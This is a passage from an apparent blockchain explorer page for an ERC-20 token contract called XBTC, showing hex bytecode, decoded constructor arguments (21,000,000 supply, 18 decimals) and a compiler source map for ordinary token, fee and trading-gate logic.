ffff16815260200190815260200160002060009054906101000a900460ff16155b1561196557600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061190f5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561196457601060179054906101000a900460ff16611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a9061305a565b60405180910390fd5b5b5b601060149054906101000a900460ff161561198c57611985848484611dd4565b9050611d0b565b6000611997306107cb565b9050601060149054906101000a900460ff16158015611a005750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a185750601060159054906101000a900460ff165b15611a8357601060169054906101000a900460ff1615611a3857600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a8281611fa7565b5b611b0c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c0657611c01868686612025565b611c08565b835b9050611c5c81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cfc91906128d5565b60405180910390a36001925050505b9392505050565b6000838311158290611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d519190612790565b60405180910390fd5b5060008385611d69919061307a565b9050809150509392505050565b6000808284611d8591906130ae565b905083811015611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190613150565b60405180910390fd5b8091505092915050565b6000611e5f826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f9491906128d5565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611fcb8161224d565b6000479050600081111561200657612005600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261253a565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120ad576120a660646120986009548661258590919063ffffffff16565b61260090919063ffffffff16565b905061212b565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561212a576121276064612119600a548661258590919063ffffffff16565b61260090919063ffffffff16565b90505b5b60008111156122305761218681600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161222791906128d5565b60405180910390a35b612243818461264a90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561226a57612269613170565b5b6040519080825280602002602001820160405280156122985781602001602082028036833780820191505090505b50905030816000815181106122b0576122af612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061232157612320612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123ec9190612c4c565b81600281518110612400576123ff612b90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114d6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cb9594939291906132a2565b600060405180830381600087803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161252e9291906132fc565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612580573d6000803e3d6000fd5b505050565b60008083141561259857600090506125fa565b600082846125a6919061332c565b90508284826125b591906133b5565b146125f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ec90613458565b60405180910390fd5b809150505b92915050565b600061264283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612694565b905092915050565b600061268c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d12565b905092915050565b600080831182906126db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d29190612790565b60405180910390fd5b50600083856126ea91906133b5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612731578082015181840152602081019050612716565b83811115612740576000848401525b50505050565b6000601f19601f8301169050919050565b6000612762826126f7565b61276c8185612702565b935061277c818560208601612713565b61278581612746565b840191505092915050565b600060208201905081810360008301526127aa8184612757565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e7826127bc565b9050919050565b6127f7816127dc565b811461280257600080fd5b50565b600081359050612814816127ee565b92915050565b6000819050919050565b61282d8161281a565b811461283857600080fd5b50565b60008135905061284a81612824565b92915050565b60008060408385031215612867576128666127b2565b5b600061287585828601612805565b92505060206128868582860161283b565b9150509250929050565b60008115159050919050565b6128a581612890565b82525050565b60006020820190506128c0600083018461289c565b92915050565b6128cf8161281a565b82525050565b60006020820190506128ea60008301846128c6565b92915050565b600080600060608486031215612909576129086127b2565b5b600061291786828701612805565b935050602061292886828701612805565b92505060406129398682870161283b565b9150509250925092565b600060ff82169050919050565b61295981612943565b82525050565b60006020820190506129746000830184612950565b92915050565b6000602082840312156129905761298f6127b2565b5b600061299e84828501612805565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129cc576129cb6129a7565b5b8235905067ffffffffffffffff8111156129e9576129e86129ac565b5b602083019150836020820283011115612a0557612a046129b1565b5b9250929050565b60008060208385031215612a2357612a226127b2565b5b600083013567ffffffffffffffff811115612a4157612a406127b7565b5b612a4d858286016129b6565b92509250509250929050565b612a62816127dc565b82525050565b6000602082019050612a7d6000830184612a59565b92915050565b60008060408385031215612a9a57612a996127b2565b5b6000612aa885828601612805565b9250506020612ab985828601612805565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0a57607f821691505b60208210811415612b1e57612b1d612ac3565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b5a602083612702565b9150612b6582612b24565b602082019050919050565b60006020820190508181036000830152612b8981612b4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612bf98261281a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c2c57612c2b612bbf565b5b600182019050919050565b600081519050612c46816127ee565b92915050565b600060208284031215612c6257612c616127b2565b5b6000612c7084828501612c37565b91505092915050565b6000604082019050612c8e6000830185612a59565b612c9b6020830184612a59565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612cfe602683612702565b9150612d0982612ca2565b604082019050919050565b60006020820190508181036000830152612d2d81612cf1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d90602483612702565b9150612d9b82612d34565b604082019050919050565b60006020820190508181036000830152612dbf81612d83565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e22602283612702565b9150612e2d82612dc6565b604082019050919050565b60006020820190508181036000830152612e5181612e15565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612eb4602583612702565b9150612ebf82612e58565b604082019050919050565b60006020820190508181036000830152612ee381612ea7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f46602383612702565b9150612f5182612eea565b604082019050919050565b60006020820190508181036000830152612f7581612f39565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fd8602983612702565b9150612fe382612f7c565b604082019050919050565b6000602082019050818103600083015261300781612fcb565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b6000613044600983612702565b915061304f8261300e565b602082019050919050565b6000602082019050818103600083015261307381613037565b9050919050565b60006130858261281a565b91506130908361281a565b9250828210156130a3576130a2612bbf565b5b828203905092915050565b60006130b98261281a565b91506130c48361281a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f9576130f8612bbf565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061313a601b83612702565b915061314582613104565b602082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b60006131ce6131c96131c48461319f565b6131a9565b61281a565b9050919050565b6131de816131b3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613219816127dc565b82525050565b600061322b8383613210565b60208301905092915050565b6000602082019050919050565b600061324f826131e4565b61325981856131ef565b935061326483613200565b8060005b8381101561329557815161327c888261321f565b975061328783613237565b925050600181019050613268565b5085935050505092915050565b600060a0820190506132b760008301886128c6565b6132c460208301876131d5565b81810360408301526132d68186613244565b90506132e56060830185612a59565b6132f260808301846128c6565b9695505050505050565b600060408201905061331160008301856128c6565b81810360208301526133238184613244565b90509392505050565b60006133378261281a565b91506133428361281a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561337b5761337a612bbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133c08261281a565b91506133cb8361281a565b9250826133db576133da613386565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613442602183612702565b915061344d826133e6565b604082019050919050565b6000602082019050818103600083015261347181613435565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c9365fa4c625ecc5dfa792cdb3b9b67b2e1fbfb6177860e1a2cae3a0f563720364736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000001406f400000000000000000000000000000000000000000000000000000000000000004584254430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045842544300000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): XBTC
Arg [1] : coinSymbol (string): XBTC
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 21000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000000001406f40
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 5842544300000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 5842544300000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8001:9457:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10355:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11652:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10624:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13698:323;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10533:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11010:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8508:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6218:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10732:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12308:185;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12528:71;;;;;;;;;;;;;:::i;:::-;;5603:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5813:145;;;;;;;;;;;;;:::i;:::-;;10446:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11523:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11236:279;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13523:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5481:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12607:677;;;;;;;;;;;;;:::i;:::-;;10859:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12166:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5966:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10355:83;10392:13;10425:5;10418:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10355:83;:::o;11652:161::-;11727:4;11744:39;11753:12;:10;:12::i;:::-;11767:7;11776:6;11744:8;:39::i;:::-;11801:4;11794:11;;11652:161;;;;:::o;10624:100::-;10677:7;10704:12;;10697:19;;10624:100;:::o;13698:323::-;13796:4;13813:36;13823:6;13831:9;13842:6;13813:9;:36::i;:::-;;13860:131;13869:6;13877:12;:10;:12::i;:::-;13901:89;13939:6;13901:89;;;;;;;;;;;;;;;;;:11;:19;13913:6;13901:19;;;;;;;;;;;;;;;:33;13921:12;:10;:12::i;:::-;13901:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13860:8;:131::i;:::-;14009:4;14002:11;;13698:323;;;;;:::o;10533:83::-;10574:5;10599:9;;;;;;;;;;;10592:16;;10533:83;:::o;11010:218::-;11098:4;11115:83;11124:12;:10;:12::i;:::-;11138:7;11147:50;11186:10;11147:11;:25;11159:12;:10;:12::i;:::-;11147:25;;;;;;;;;;;;;;;:34;11173:7;11147:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11115:8;:83::i;:::-;11216:4;11209:11;;11010:218;;;;:::o;8508:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6218:90::-;6258:7;6285:15;6278:22;;6218:90;:::o;10732:119::-;10798:7;10825:9;:18;10835:7;10825:18;;;;;;;;;;;;;;;;10818:25;;10732:119;;;:::o;12308:185::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12391:9:::1;12386:100;12410:8;;:15;;12406:1;:19;12386:100;;;12470:4;12447:7;:20;12455:8;;12464:1;12455:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12447:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12427:3;;;;;:::i;:::-;;;;12386:100;;;;12308:185:::0;;:::o;12528:71::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12587:4:::1;12577:7;;:14;;;;;;;;;;;;;;;;;;12528:71::o:0;5603:75::-;5641:7;5668:6;;;;;;;;;;;5661:13;;5603:75;:::o;5813:145::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5917:1:::1;5880:40;;5901:6;::::0;::::1;;;;;;;;5880:40;;;;;;;;;;;;5948:1;5931:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5813:145::o:0;10446:79::-;10485:13;10510:7;10503:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10446:79;:::o;11523:121::-;11585:7;11612:24;;11605:31;;11523:121;:::o;11236:279::-;11329:4;11346:139;11355:12;:10;:12::i;:::-;11369:7;11388:96;11427:15;11388:96;;;;;;;;;;;;;;;;;:11;:25;11400:12;:10;:12::i;:::-;11388:25;;;;;;;;;;;;;;;:34;11414:7;11388:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11346:8;:139::i;:::-;11503:4;11496:11;;11236:279;;;;:::o;13523:167::-;13601:4;13618:42;13628:12;:10;:12::i;:::-;13642:9;13653:6;13618:9;:42::i;:::-;;13678:4;13671:11;;13523:167;;;;:::o;5481:21::-;;;;;;;;;;;;:::o;12607:677::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12662:35:::1;12719:7;;;;;;;;;;;12662:65;;12738:20;12779:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12761:53;;;12823:4;12829:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12761:92;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12738:115;;12891:1;12867:26;;:12;:26;;;12864:219;;;12942:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12924:82;;;13015:4;13047:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12924:147;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12909:162;;12864:219;13153:22;;;;;;;;;;;13100:15;;:76;;;;;;;;;;;;;;;;;;13215:4;13191:21;;:28;;;;;;;;;;;;;;;;;;13272:4;13234:12;:35;13255:12;13234:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12651:633;;12607:677::o:0;10859:143::-;10940:7;10967:11;:18;10979:5;10967:18;;;;;;;;;;;;;;;:27;10986:7;10967:27;;;;;;;;;;;;;;;;10960:34;;10859:143;;;;:::o;12166:132::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12281:8:::1;12248:22;;:42;;;;;;;;;;;;;;;;;;12166:132:::0;:::o;5966:244::-;5736:12;:10;:12::i;:::-;5726:22;;:6;;;;;;;;;;:22;;;5718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6075:1:::1;6055:22;;:8;:22;;;;6047:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6165:8;6136:38;;6157:6;::::0;::::1;;;;;;;;6136:38;;;;;;;;;;;;6194:8;6185:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5966:244:::0;:::o;103:115::-;156:15;199:10;184:26;;103:115;:::o;11821:337::-;11931:1;11914:19;;:5;:19;;;;11906:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12012:1;11993:21;;:7;:21;;;;11985:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12096:6;12066:11;:18;12078:5;12066:18;;;;;;;;;;;;;;;:27;12085:7;12066:27;;;;;;;;;;;;;;;:36;;;;12134:7;12118:32;;12127:5;12118:32;;;12143:6;12118:32;;;;;;:::i;:::-;;;;;;;;11821:337;;;:::o;14029:1510::-;14116:4;14161:1;14143:20;;:6;:20;;;;14135:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14245:1;14224:23;;:9;:23;;;;14216:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14315:1;14306:6;:10;14298:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14377:7;:15;14385:6;14377:15;;;;;;;;;;;;;;;;;;;;;;;;;14376:16;:39;;;;;14397:7;:18;14405:9;14397:18;;;;;;;;;;;;;;;;;;;;;;;;;14396:19;14376:39;14373:184;;;14434:12;:20;14447:6;14434:20;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;14458:12;:23;14471:9;14458:23;;;;;;;;;;;;;;;;;;;;;;;;;14434:47;14431:115;;;14509:7;;;;;;;;;;;14501:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;14431:115;14373:184;14572:16;;;;;;;;;;;14569:963;;;14621:41;14636:6;14644:9;14655:6;14621:14;:41::i;:::-;14614:48;;;;14569:963;14715:28;14746:24;14764:4;14746:9;:24::i;:::-;14715:55;;14792:16;;;;;;;;;;;14791:17;:42;;;;;14813:12;:20;14826:6;14813:20;;;;;;;;;;;;;;;;;;;;;;;;;14812:21;14791:42;:67;;;;;14837:21;;;;;;;;;;;14791:67;14787:311;;;14895:25;;;;;;;;;;;14892:98;;;14966:24;;14943:47;;14892:98;15021:6;15009:9;;:18;;;;;;;;;;;;;;;;;;15046:36;15061:20;15046:14;:36::i;:::-;14787:311;15134:53;15156:6;15134:53;;;;;;;;;;;;;;;;;:9;:17;15144:6;15134:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15114:9;:17;15124:6;15114:17;;;;;;;;;;;;;;;:73;;;;15204:19;15227:7;:15;15235:6;15227:15;;;;;;;;;;;;;;;;;;;;;;;;;:37;;;;15246:7;:18;15254:9;15246:18;;;;;;;;;;;;;;;;;;;;;;;;;15227:37;15226:127;;15319:34;15327:6;15335:9;15346:6;15319:7;:34::i;:::-;15226:127;;;15310:6;15226:127;15204:149;;15395:37;15420:11;15395:9;:20;15405:9;15395:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;15372:9;:20;15382:9;15372:20;;;;;;;;;;;;;;;:60;;;;15471:9;15454:40;;15463:6;15454:40;;;15482:11;15454:40;;;;;;:::i;:::-;;;;;;;;15516:4;15509:11;;;;14029:1510;;;;;;:::o;1525:192::-;1611:7;1644:1;1639;:6;;1647:12;1631:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1671:9;1687:1;1683;:5;;;;:::i;:::-;1671:17;;1708:1;1701:8;;;1525:192;;;;;:::o;1192:181::-;1250:7;1270:9;1286:1;1282;:5;;;;:::i;:::-;1270:17;;1311:1;1306;:6;;1298:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1364:1;1357:8;;;1192:181;;;;:::o;15547:330::-;15640:4;15677:53;15699:6;15677:53;;;;;;;;;;;;;;;;;:9;:17;15687:6;15677:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;15657:9;:17;15667:6;15657:17;;;;;;;;;;;;;;;:73;;;;15764:32;15789:6;15764:9;:20;15774:9;15764:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15741:9;:20;15751:9;15741:20;;;;;;;;;;;;;;;:55;;;;15829:9;15812:35;;15821:6;15812:35;;;15840:6;15812:35;;;;;;:::i;:::-;;;;;;;;15865:4;15858:11;;15547:330;;;;;:::o;15887:299::-;9470:4;9451:16;;:23;;;;;;;;;;;;;;;;;;15991:25:::1;16008:7;15991:16;:25::i;:::-;16027:22;16052:21;16027:46;;16106:1;16089:14;:18;16086:96;;;16122:60;16143:22;;;;;;;;;;;16167:14;16122:20;:60::i;:::-;16086:96;15948:238;9509:5:::0;9490:16;;:24;;;;;;;;;;;;;;;;;;15887:299;:::o;16869:579::-;16955:7;16977:17;16997:1;16977:21;;17012:12;:20;17025:6;17012:20;;;;;;;;;;;;;;;;;;;;;;;;;17009:217;;;17061:38;17095:3;17061:29;17072:17;;17061:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17049:50;;17009:217;;;17129:12;:23;17142:9;17129:23;;;;;;;;;;;;;;;;;;;;;;;;;17126:100;;;17181:39;17216:3;17181:30;17192:18;;17181:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;17169:51;;17126:100;17009:217;17251:1;17239:9;:13;17236:164;;;17293:36;17319:9;17293;:21;17311:1;17293:21;;;;;;;;;;;;;;;;:25;;:36;;;;:::i;:::-;17269:9;:21;17287:1;17269:21;;;;;;;;;;;;;;;:60;;;;17374:1;17349:39;;17358:6;17349:39;;;17378:9;17349:39;;;;;;:::i;:::-;;;;;;;;17236:164;17419:21;17430:9;17419:6;:10;;:21;;;;:::i;:::-;17412:28;;;16869:579;;;;;:::o;16194:663::-;16320:21;16358:1;16344:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16320:40;;16389:4;16371;16376:1;16371:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16407:9;;;;;;;;;;;16397:4;16402:1;16397:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;;;16437:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16427:4;16432:1;16427:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16472:62;16489:4;16504:15;;;;;;;;;;;16522:11;16472:8;:62::i;:::-;16581:15;;;;;;;;;;;:66;;;16658:11;16680:1;16720:4;16743;16775:15;16581:220;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16819:35;16836:11;16849:4;16819:35;;;;;;;:::i;:::-;;;;;;;;16249:608;16194:663;:::o;13292:126::-;13384:9;:18;;:26;13403:6;13384:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13292:126;;:::o;1725:250::-;1783:7;1812:1;1807;:6;1803:47;;;1837:1;1830:8;;;;1803:47;1862:9;1878:1;1874;:5;;;;:::i;:::-;1862:17;;1907:1;1902;1898;:5;;;;:::i;:::-;